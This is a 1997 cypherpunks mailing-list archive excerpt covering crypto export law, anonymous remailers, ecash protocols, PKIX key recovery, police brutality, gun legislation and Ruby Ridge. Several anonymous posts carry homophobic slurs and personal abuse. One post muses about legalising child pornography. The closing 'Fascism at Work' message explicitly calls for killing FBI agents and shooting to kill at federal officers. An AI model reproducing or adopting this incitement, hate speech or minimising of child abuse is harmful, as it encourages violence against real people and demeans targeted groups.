>responded positively or negatively, in spite of their publicly stated
>policies that they "will" respond in some small number of days.
>
>Since then, they've changed the laws, and the PERL RSA has gotten shorter...
>
>Of course, it's not a violation for Adam - he's not an American :-)

 But of course Adam was seen within U.S. borders wearing such a shirt. This
means the act of importation had occurred, regardless of where Adam came
from (and regardless of where the shirt was made, etc.).

And once imported, code becomes subject to all of the usual ITARs and
related laws. (They changed the name "ITAR" to something else, which I've
forgotten...no doubt 5 people will post one-liners telling me what it is.)

So unless Adam disposed of this shirt, to a bonafide American or
America-approved subject, before his departure from the U.S. last summer....

Perhaps a DEA snatch team can be pressed into service to nab him in
England, drug him, wrap him in tarps, and spirit him onto a C-5 cargo plane
headed for the Land of the Freeh.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 15 Aug 1997 22:19:31 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis (was Re: The BIG Lie (Jesus Confesses))
Message-ID: <SPYhQJ83WXA8p4U+2oomsw==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 9:34 AM, The Remailer Hating Nazi Patrick Oonk wrote:
>You can't read, obviously.

Actually, I learned to read in Kindergarten, and can still read nicely.  I just don't contradict myself.

>What I said was that it's a bit lame to flame me
>and call me names, without giving me  the oppportunity to mail you 
>directly, w/o bothering the other people on this list.

Funny that other cypherpunks don't try to censor me.  Most just delete crap that they don't want to read.  So what's your story?

>You twist my words around.

Bullshit I did.  You speak lowly of remailer users, but you make and run remailers, or at least, you ran remailers.

>By the way, where did your wig-wearing faggot founding fathers of you suddenly go ?

Knee-deep in your censorous Nazi rectum with muskets, you Hitlerist bigoting bastard.

>Start coding, instead of just flaming people.

So in addition to being too coward to run remailers, you are also a censorous little prick, eh?  Don't tell me what to do, you fascist liar.

>Post-natal abortion would have been a good solution for you.

At least I'm not an inspiration for birth control, like you, Patty.  I'm surprised that your family didn't disown you at the first sign of a head coming out.

We need less Censor-happy Nazi cowards like you on this planet.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 15 Aug 1997 22:28:14 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis
Message-ID: <ZTJ6s1YtXlKDuwszDSf2SQ==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 03:22 PM 8/15/97 +0200, The Remailer hating contradictory Nazi Cop wrote:
>Some word-twisting asshole wrote:
>>   Sorry to hear you have such a low opinion of those who use
>> anonymous remailers. Is your work on remailers an 'ego' thing,
>> or are you a cop?
>
>I am a cop, but it boosts my ego too.

HAHAHAHA!!!!  Do you sodomize people with plungers since you're a cop?  Kick the crap out of any potsmokers today??  I think your ego's so big it's going to give you back problems when you get older.

>>  So spam me, big boy. Spam me.
>
>Let the pros stick to that.

Translated: I can't, I'm... I'm... a remailer hating coward!!! (sob sob)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Fri, 15 Aug 1997 08:35:37 +0800
To: cypherpunks@toad.com
Subject: Re: Text of Clinton's remarks on child safety locks for handguns
In-Reply-To: <Pine.GSO.3.95.970814124958.19346Z-100000@well.com>
Message-ID: <Pine.SOL.3.91.970815101300.18022B-100000@hardy>
MIME-Version: 1.0
Content-Type: text/plain




> 	This week, Smith and Wesson -- the world's largest manufacturer
> of handguns -- announced that it is forging a partnership with the
> Master Lock Company to provide a child safety lock with every handgun
> sold for commercial use.  I applaud both of these companies for their
> efforts to promote gun safety.

Well this bit sound reasonable enough.

> accidental gunshot wounds.  That is why my anti-gang and youth
> violence legislation would require that all federally licensed gun
> dealers provide such safety devices with every handgun sold.  And

Ahh ... ha the truth comes forth. The question i have is, what is 
Clintons anti-gang legislation ?? Given i'm in oz and dont follow US news 
much ?? 

So can anyubody shed some light on this ??

Jason





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 15 Aug 1997 16:36:49 +0800
To: cypherpunks@toad.com
Subject: Re: Sign up on YoungSluts click thru Program
Message-ID: <199708150820.KAA22896@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian wrote:
> would you guys quit giving cypherpunks@toad.com as your email address for
> your porno runs.  The extra spam is annoying. :)  use nobody@nowhere.mil
> if you want... :)

> > On Wed, 13 Aug 1997, YoungGirl wrote:
> > >Below is the result of your feedback form.  It was submitted by
> > > (cypherpunks@toad.com) on Wednesday, August 13, 1997 at 19:46:18

  Use your Mr. C. Punks credit card to sign up, and send the password
to the list.
  Be assured that I, for one, only use the XXX-rated accounts for valid
Stegonongraphy research.

YoungSlutMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 15 Aug 1997 22:38:27 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis
Message-ID: <BCTAexGKt/qf+xuC0Dzelw==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



The Platypus blithered this out:
>Flaming via Anon reamilers is bad, not because its done via an anon
>reamiler but because Flamming is mostly bad.

If anything, flaming Anonymously is good, since you can say anything you damn well please without a care.  It relieves stress.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sat, 16 Aug 1997 01:42:55 +0800
To: Mike <Michael.Johnson@mejl.com>
Subject: Re: Getting ecash without an MTB account
In-Reply-To: <3.0.3.32.19970815144631.00989bd0@localhost>
Message-ID: <Pine.LNX.3.95.970815101917.1090E-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 15 Aug 1997, Mike wrote:

> Jeremey Barrett wrote:
> >BTW, there are better solutions to operating without a mint account,
> >but they are not widely available yet.
> 
> Are you referring to the receiver anonymous protocol?
> 
> This is how I understand that protocol,
> 
> Alice wants to receive e$1 from Bob. She creates a random number, blinds
> it, and gives the blinded number to Bob. He shows the number to the
> Mint, asking for a withdrawal of e$1 with a signature on this coin
> number. Bob gives the signed and still blinded coin to Alice. She
> unblinds it and spends it, end of story.

Actually the coin is intercepted and spent by Mallet.  Alice gets pissed
at Bob because she feels cheated by him.  She implements a blinding
protocol on him with an ice pick, as described by Dr. Thomas Dolby.
("Blinded with Ice Picks and/or Science")

> I thought that in this scenario, Bob can spend the coin before he gives
> it to Alice, so she runs the risk of receiving a coin that has already
> been spent. Is it impossible to spend a blinded coin if you can't
> unblind it? Or are you thinking of something totally different?

My understanding of the protocol is that the identity of the purchacer is
revealed only if the coin is double spent.  What prevents the person
wanting to find out the identity of Bob from just spending the cash more
than once?

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Fri, 15 Aug 1997 22:49:02 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Another Free Email Site with remailer possibilities
In-Reply-To: <3.0.2.32.19970815030611.02ff46e8@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.94.970815103057.11727H-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I've noted a couple of others which are very similar to Hotmail:

www.rocketmail.com
www.netaddress.com
www.mailcity.com

There are probably more. I've sorta hinted this to Ian... I was thinking
the user login file could be modified so that it also used the e-mail
system type, such as:

hotmail user1 pass1
rocketmail user2 pass2
netaddress user3 pass 3
...

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy@CCMSD.chem.uga.edu      <}+++<


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv

iQEPAwUBM/RpEROPBZTHLz8dAQFJFwfNEdzlh4I6cwFlcRhfZsb/r4cMJ6d0GAIo
0lB7oWvqj6ilx1OfJ15mQF7eZGbe0H0aFi2XzcvIYS4hthIHz7dESvorhdokSX1R
nqUIHyNDQZ3uAe3DQIf8XRhL1MeXjHSn7dlUylE5XVODp/wJgOKIsOAITzoKb3MT
B99LLADCp6es6/JQRkb2WXiuMuxPbuDVc4qynfSa9X2aTvxb3ZXQiPCEA+ZnQ9+d
rct75gXjwPnBmyOvvU2WBC4XTgqDpZLwWQVJqVK2pEFBEvqosrwhlD2RK7HJy1O9
eG223PUVxxDsp8Ksnkn9jNLNYZDWwF1ar+1r3J6wCxZzGA==
=PJnb
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 15 Aug 1997 23:38:52 +0800
To: cypherpunks@toad.com
Subject: PKIX Part 3 REQUIRES SUPPORT OF KEY RECOVERY?
Message-ID: <v03110728b01a23c83022@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-cryptography@c2.org using -f
X-PGP-Key: <http://www1.shore.net/~sable/info/rltkey.htm>
X-Sender: rodney@pop3.pn.com
Date: Fri, 15 Aug 1997 07:39:04 -0400
To: cryptography@c2.net
From: Rodney Thayer <rodney@sabletech.com>
Subject: PKIX Part 3 REQUIRES SUPPORT OF KEY RECOVERY?
Mime-Version: 1.0
Sender: owner-cryptography@c2.net

(This is a note I posted on the PKIX (Public Key Infrastructure) mailing
list.  I would be interested in comments on this document -- the draft is
<ftp://ds.internic.net/internet-drafts/draft-ietf-pkix-ipki3cmp-02.txt>

>-----BEGIN PGP SIGNED MESSAGE-----
>
>It seems to me that PKIX Part 3, section 2.2.2.1 "Centralised scheme"
>requires that a conformant implementation support the capability of
>generating the private key at the CA.  This means that a conformant
>implementation essentially is required to implement key recovery.
>
>I do not think that this conforms to IETF practice and I certainly do
>not want to require CA implementations to support this capability.
>If for some reason someone wants to implement this I can see it being
>an optional feature but I do not think it is an acceptable mandatory
>requirement.
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
>Charset: noconv
>
>iQCVAwUBM/Ph38KmlvJNktGxAQGM4AP6AxwWoXMuNo13f2tHxAb85eo4eCHSfE0D
>OVvEqv3LrYyctkKULPkDb3IQKwEVkrba5EEVvFytyblgROh12eftgIfndqQWQyca
>LLiUXZemSS59lD+gI0TFaqayOvAGJenN3SdxJDaQ6eiY04vjoxrLZ9/aX3/lnzYC
>efAB14L23Eg=
>=3M+q
>-----END PGP SIGNATURE-----
>
>
>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 15 Aug 1997 23:38:51 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Toilet plungers and sodomy: Why we should trust police blindly
In-Reply-To: <031FBe4w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.96.970815111832.26252B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 14 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Can you blame them?  They have a quote for writing parking tickets and will
> get in trouble for not writing enough; while they don't have a quota e.g. for
> writing tickets to the folks who run red lights, and can get shot at if they
> try to.

Sure I can blame them.  If they're unwilling to support the constitution
and do what's right and proper by it, they don't belong in the police
force, they belong in the congress with all the other political scum
sucking bastards.
 
> As for the regrettable incident with the plunger: while it sounds bad out of
> context, it can be viewed as just desserts for the indignities the while people
> in New York City have undergone under the Dinkins administration.  If the
> alleged victim (who already gave 3 highly contradictory stories of the events)
> thinks that this city is so racist, why didn't he stay in his native Haiti?

Probably for the same reason you didn't chose to remain in Russia and came
here. :)  Whatever crimes he might have been arrested for and allegedly
commited don't mask or negate that the police raped him.  Pure and simple.

Did you mean "white" instead of "while"?  I believe the pig^H^H^cop
involved was hispanic not white, so your racist comment is out of place,
but whatever... IMHO, Dinkins was a weak mayor, probably a puppet to
someone else.  Just dig up some old news bulletins and speeches of his and
you'll see he's very meek and afraid.  I doubt he had any control over
this city. 

While under his regime, city hall was constantly surrounded by cops almost
daily.  I used to work near there and saw it durring lunch.  Bomb scares
and all that I think...  Gee I wonder what he was afraid of?

I wasn't around there that much when Guiliani came so I don't know if the
blockades remained or not.  Perhaps some other knowledgeable punk can
answer that.... 

Still, all he did was battle with the UN and inflict a police state on us
which does nothing but put tickets on windshields and steals cars parked
on the public streets to sell them for profit, or holds them hostage for
you.  Obviously the laws of diminish returns apply to hiring cops as
well..  at a certain point all the good cops are already hired and all
you're left to hire is pure scum.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 15 Aug 1997 19:10:01 +0800
To: cypherpunks@toad.com
Subject: Re: Cartel Leaders Set Snipers To Work In Border War
Message-ID: <199708151054.MAA08022@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> According to this article, the home addresses of government agents are
> being solicited by Mexican drug dealers, for disposal of agents
> interfering in their business.

  A major thrust of the article deals with the government promotion
of the idea that the "bad guys" have actively declared war upon agents
of the U.S. government, on U.S. soil.
  Strange that this claim should come from a variety of sources at
the same time the government is facing the embarassment of having to
whitwash the actions of heavily armed, camouflaged Marines who felt
so threatened by a goat-herder with a .22 rifle that they slaughtered
him with their M-16's, despite the fact that the child was an American
citizen, doing what he had every right to do, on American soil.

  The drug cartels are having such little trouble getting drugs into
the U.S. that cocaine and heroine are cheaper than a bottle of good
Scotch, yet, according to the government, they have decided that it 
is necessary to perform actions which will "force" the government
to 'crack down' on border terrorism with increasing use of armed
force. Right...
  I bet the child pornography cartels are arming themselves, even 
as we speak, preparing to join the drug cartels in their war against
the U.S. governement. We'd better send some Marines to Denver, New
York City, and Fargo. Then everybody but the high-school goat herders
will feel much safer, I'm sure.


GiveMeAFuckingBreakMonger
"There is something wrong when U.S. armed forces murder American
 schoolchildren on American soil, under an increasing number of
 unconstitutional laws."

> > Date: Thu, 14 Aug 1997 22:42:08 -0700 (PDT)
> > Message-ID: <199708150542.WAA25283@sirius.infonex.com>
> > From: Mix <mixmaster@remail.obscura.com>
> > Comments: This message did not originate from the address above.  It was
> remailed by an anonymous remailing service.  If you have questions or
> complaints, please direct them to <complaints@remail.obscura.com>
> > Subject: Cartel Leaders Set Snipers To Work In Border War
> > Newsgroups:
> talk.politics.guns,misc.legal,misc.survivalism,alt.news-media,alt.politics.usa.misc,alt.politics.media,alt.politics.clinton
> > Mail-To-News-Contact: postmaster@nym.alias.net
> > Organization: mail2news@nym.alias.net
> > Lines: 58
> ...
> > Cartel leaders set snipers to work in border 'war'
> > By John Hiscock Electronic Telegraph, London
> >
> > August 11, 1997
> >
> > AMERICAN Border Patrol agents have become targets of snipers working
> > for drug smugglers trying to take control of the border with Mexico. A
> > five-mile strip of frontier near San Diego in California has become so
> > dangerous that a specially-trained squad of border patrol sentries
> > armed with assault rifles has been drafted in to combat the snipers,
> > who have fired at agents seven times in the past two months.
> >
> > The agents believe that Mexican drug cartel leaders have issued
> > instructions to kill any law enforcement officers impeding drug
> > smuggling operations. Their fears have been heightened by a bulletin
> > from the Immigration and Naturalisation Service that said two drug
> > cartel leaders in the Mexican border city of Tijuana had "reportedly
> > contracted with local gangs on both sides of the border to kill
> > federal law enforcement personnel", preferably on American soil. In
> > addition, officers recently received reports that cartel henchmen have
> > put a price on their heads by offering to pay &pound;7,000 for the
> > home address of any United States federal agent.
> >
> > Dianne Feinstein, a Californian senator, says that border patrol
> > agents, whose job until recently was to arrest mainly frightened and
> > unarmed Mexicans trying to cross the frontier at night, are now in the
> > front line of a vicious drug war. "This is a border on alert, a border
> > where anything could happen," she said. "These cartels are moving
> > drugs across the border and are operating with impunity and that adds
> > an increased risk to the lives of border patrol agents. This is a
> > different border than it was two years ago."
> >
> > In addition to being the most popular spot for illegal aliens
> > attempting to cross, the border around San Diego is now the main
> > gateway for cocaine and heroin bound for the US. Since the
> > introduction of Operation Gatekeeper, President Clinton's 1994
> > anti-illegal alien initiative that poured more money and agents into
> > the San Diego area, the drug smugglers have found themselves
> > increasingly caught up in the patrols' swoops on illegal
> > border-crossers.
> >
> > "We've made it increasingly difficult for drug traffic," said John
> > Williams, the chief of San Diego's 2,000-strong border patrol sector.
> > "We're making it tough on crime and that certainly has some bearing on
> > their reaction. The escalation of violence is of grave concern to me
> > and my agents."
> >
> > Members of the elite special protection unit carry M-16 assault
> > rifles, with a range of more than a mile, while all agents are now
> > being issued with semi-automatic pistols and shotguns.
> 
> --
> There's something wrong when I'm a felon under an increasing number of laws.
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 15 Aug 1997 19:08:29 +0800
To: cypherpunks@toad.com
Subject: Re: Toilet plungers and sodomy: Why we should trust police blindly
Message-ID: <199708151054.MAA08032@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos wrote:
> The "alleged victim" describes officers beating him and then shoving a
> toilet plunger up his rectum and down his throat while yelling "Take that,
> Nigger!"  He has a broken jaw, a punctured rectum, and a torn bladder, a
> colostomy, and will require multiple surgeries to repair all the damage.

> In other news, a Texas jury refused to indict a marine who shot an 18 year
> old goatherder tending his flock near the Mexican border.
 
> An interesting newsday, as Tim McVeigh is sentenced to death, and quotes
> from Justice Brandeis about the government teaching its citizen-units by
> example.

  I expect to receive an email from "News of the Weird" any day
now, announcing that they are going out of business because they
can no longer compete with the "normal" weird news that is becoming
standard fare in the main press.
  What bothers me is that there seems to be an amazing number of
people who have developed the ability to watch the unceasing parade
of freedom-fucking, fascist insanity that marches across their field
of vision each day, and manage to block it from their consciousness
by telling themself that everything is going to be OK, as soon as
we get a few more laws to rid the planet of drug-dealing pedophiles.
  I would like to see Janet Reno and Louis Freeh announce a press
conference and tell the citizens, "...and the minute we have all of
the drug-dealing pedophiles in prison, we're going to see if we 
can't do something about those cops that are shoving toilet plungers
up the citizen's assholes."

  Priorities. We have to have priorities.

PriorityMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 16 Aug 1997 01:08:38 +0800
To: cypherpunks@toad.com
Subject: Re: No charges for Ruby Ridge murderers
In-Reply-To: <199708151630.SAA11335@basement.replay.com>
Message-ID: <Pine.SUN.3.96.970815125625.26252G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 15 Aug 1997, Anonymous wrote:

> 
> 	WASHINGTON (AP) - The Justice Department today closed its
> investigation into whether the FBI's former deputy director tried to
> obstruct an inquiry into the deadly 1992 seige at Ruby Ridge, Idaho,
> saying it lacked evidence to bring criminal charges, governent officials
> said.

Cover up on top of coverup on top of coverup.  

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 16 Aug 1997 01:32:16 +0800
To: cypherpunks@toad.com
Subject: ASSETS FORFEITURE BILL ON THE MOVE
Message-ID: <v03110751b01a3c3fefdf@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender:  (Unverified)
Mime-Version: 1.0
Date: Fri, 15 Aug 1997 09:22:03 -0700
To: rah@shipwright.com
From: Vinnie Moscaritolo <vinnie@vmeng.com>
Subject: SSETS FORFEITURE BILL ON THE MOVE

GENERAL-RKBA digest 282


                ASSETS FORFEITURE BILL ON THE MOVE

     At press time, the U.S. House Judiciary Committee had passed
H.R. 1965 -- an assets forfeiture bill. This legislation contains
provisions that would allow the Clinton-Gore Administration to
seize the assets of virtually any business on any pretext --
including firearms-related businesses! Even if the warrant for
the original seizure is struck down, the government would then be
given additional time and "discovery" to examine the business
records to try and build a case to continue holding the assets
(read: firearms). Virtually any business that has any substantive
inventory and that is extensively regulated by the government is
in danger of having its goods seized -- even for non-criminal
regulatory infractions. H.R. 1965 is a Clinton-Reno scheme -- and
a civil rights nightmare -- and we strongly believe it will be
used as a tool against gun stores, collectors, or anyone else who
has a firearms collection or inventory worth stealing. We are
trying to work in Congress to get the needed changes to this
legislation before it is brought to the House floor, but it may
be put on a fast-track to try and dampen opposition. Call your
Congressman now at 202/224-3121, and explain the problems with
asset forfeiture from the gun owner's perspective, and urge him
to oppose the Reno-backed asset forfeiture scheme.


                  AND THE TALL TALES GET TALLER

     Hoping that going on the offensive would provide him with a
good defense, President Clinton has elevated the falsehoods
surrounding the Brady Act to new heights. Obviously anticipating
that the Supreme Court would strike down the "mandated background
check" provision of the Brady Act, the President, along with
Sarah Brady, began touting their latest statistics on the Brady
Act's "success." (For a complete summary of the Court's decision,
see the article on this subject in the September issue of the
American Guardian.) Previously, the President, Attorney General
Janet Reno, and others used the inflated figure of 186,000 to
note the number of felons, fugitives, and stalkers they claimed
were prevented from buying a handgun under Brady. That 186,000
figure was derived from a February 1997 Bureau of Justice
Statistics (BJS) report that concluded that of nine million
handgun transactions nationwide, 186,000 (2%) were rejected. The
President, in turn, incorrectly claimed that the BJS study showed
that the Brady Act had resulted in 186,000 handgun purchase
attempts by prohibited persons being denied. However, the BJS
stated on the front page of its report the 186,000 was a national
estimate. Recognizing that 18 states and the District of Columbia
have never been subject to Brady's five-day waiting period, BJS
noted only 86,000 denials occurred in the 32 "original Brady
states." Even that figure is inflated, however, because 12 of
those 32 states are no longer subject to Brady, having adopted
instant check or other laws in the past three years.
Additionally, many Brady-exempt states conduct records checks on
people who purchase long guns, while Brady only applies to
handguns. However, prior to the Court's ruling, Mr. Clinton upped
the ante by unveiling his newest "success statistic." According
to the President, apparently in the course of a few months, the
number of felons denied handgun purchases under Brady
miraculously skyrocketed to 250,000!

     Even if that claim was true, "handgun purchase
denials"--warranted or not (data indicates that most denials are
not)--is not the standard by which the Brady Act should be
judged. Rather, the effectiveness of a law titled the "Handgun
Violence Prevention Act" should be measured by how much handgun
violence is prevented. And on that test, Brady is a failure, as
we know our prisons aren't bursting at the seams from "felons"
who violated federal law by attempting to purchase a handgun. In
fact, there have still been only three individuals who've seen
the inside of a prison cell for violating the Brady Act.
Unfortunately, in addition to the numerous individuals who've
been denied a handgun purchase under the Brady Act because they
had unpaid parking tickets or had the same name as a prohibited
person, the truth apparently will continue to be another casualty
of this misguided law.


Vinnie Moscaritolo
Apple's Key Escrow Agent (for now)
http://www.vmeng.com/vinnie/
PGP:      4FA3298150E404F2782501876EA2146A
DSS/DH:   B36343A790489C8D4E149147D57A7566C206F586

1 if by land, 2 if by sea.
	 Paul Revere - encryption 1775

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sat, 16 Aug 1997 01:30:57 +0800
To: cypherpunks@toad.com
Subject: Re: Reducing Crypto-Anonymous Crime by 50%
In-Reply-To: <199708151634.SAA11624@basement.replay.com>
Message-ID: <3.0.2.32.19970815131306.007e3790@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 06:34 PM 8/15/97 +0200, you wrote:
>  An analysis of the cypherpunks list archives shows that most of
>the undesirable activities being perpetrated in the crypto-anonymity
>arena are the result of a conspiracy between Alice, Bob, and their
>shady friends.
>  Anybody know their last names?

I believe Bob's is Barker, and Alice's full is:

Alice N. Wonderland.

Sorry, couldn't resist.
/===========================================================\
  Help win the fight against weak encryption!  Break RC5-56
 -----------|>  http://rc5.distributed.net/  <|-------------
               Member of Starbase XII RC5 Team
\===========================================================/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 15 Aug 1997 19:32:09 +0800
To: cypherpunks@toad.com
Subject: Re: "Morphed" child porn case ruling text (FSC v. Reno)
Message-ID: <199708151117.NAA09805@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos wrote:
> While I suspect the typical citizen is unlikely to have a particularly
> strong reaction one way or the other to sexual depictions of children, as
> long as it is not a photographic record of an actual child being treated
> abusively, there is a obvious subset of frothy pointy-headed individuals
> who should be shielded from such material at all costs, or they may be
> completely unable to control their behavior.
> 
> They are of course the self-appointed "child protectors", none of whom
> could care less about what rights children really need or want, as long as
> no one appears naked.

Question: "If someone did a study that conclusively proves that free
  availability of child pornography leads to a substantial decrease
  in the amount of child abuse taking place, will our legislators and
  our ministers support the legalization of child pornography?

Answer: "Right... And I'm the fucking pope..."

  When did protecting abused children become such a high priority
for the fascists? When people told them to shove their fascism under
the banner of "moral values" up their ass.
  If we wipe drug abuse and child abuse from the face of the earth,
the fascists will decide that pictures of naked people cause tooth
decay, and launch a "War Against Bad Dental Hygiene." Of course,
this will mean that Law Enforcement will need the power to check
inside our mouths at their every whim, and imprison people who have
dental cavities.

PopeMonger
"I am not a mushroom..."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 16 Aug 1997 02:14:55 +0800
To: cypherpunks@toad.com
Subject: Fascism at Work
Message-ID: <g8ccHdCVoC+CZtXQbmF5gQ==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 06:30 PM 8/15/97 +0200, you wrote:
>	WASHINGTON (AP) - The Justice Department today closed its
>investigation into whether the FBI's former deputy director tried to
>obstruct an inquiry into the deadly 1992 seige at Ruby Ridge, Idaho,
>saying it lacked evidence to bring criminal charges, governent officials
>said.

The bodies of Weaver's son and wife should be evidence enough!  This is the same verdict as the Texas Border murders, some dick federal agent blows away some innocent civilian, and gets off the hook.

>	The Justice Department decided not to bring charges against former
>FBI Deputy Director Larry Potts or Danny Coulson, Potts' deputy during the
>1992 seige at the remote cabin of white supremacist Randy Weaver, said
>government officials who spoke on condition of anonymity.

To those who say government workers aren't above the law: You're wrong.  Damn wrong.  Almost any of these pricks can kill your children and/or wife, and get away with it.  If anyone bumps these assholes off, I'm gonna applaud.

>The Justice Department informed lawmakers and lawyers for the FBI agents
>that its review did not warrant any further criminal charges, but it left
>open the possibility of disciplinary action.

The only appropriate action is death to the murdering bastards who shot his wife and kid.  Kill the murdering sons of bitches!

>	The department said in a statement obtained by The Associated
>Press, "The available evidence does not support further criminal
>prosecution of FBI officials ... from the August 1992 incident at Ruby
>Ridge."

Dead bodies don't just *happen*, someone makes them dead, in this case, the FBI schills who blew away innocents.  That makes them guilty as sin, and for that, they should die slowly, and painfully.

Someone, please, put some bullet holes in FBI Agents if they ever come to your house.  Someone needs to teach these bastards a lesson.

It seems that everything like this happens because some agency fucks something up.  Waco happened because the BATF ran in like dumbasses and fucked everything up.  At Ruby Ridge, some FBI dick screws up, killing Mr. Weaver's child and wife.  At the Texas B!
order, they blew away a kid with a .22 rifle, while on "Drug Patrol".  What's should be done about these incidents?  Kil those who participated, and make sure to shoot to kill if some agents from a TLA come to YOUR house.

And they wonder why McVeigh said "Enough!"

EnoughMonger
"There's somthing wrong when innocent people die because of fascist use of military forces."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
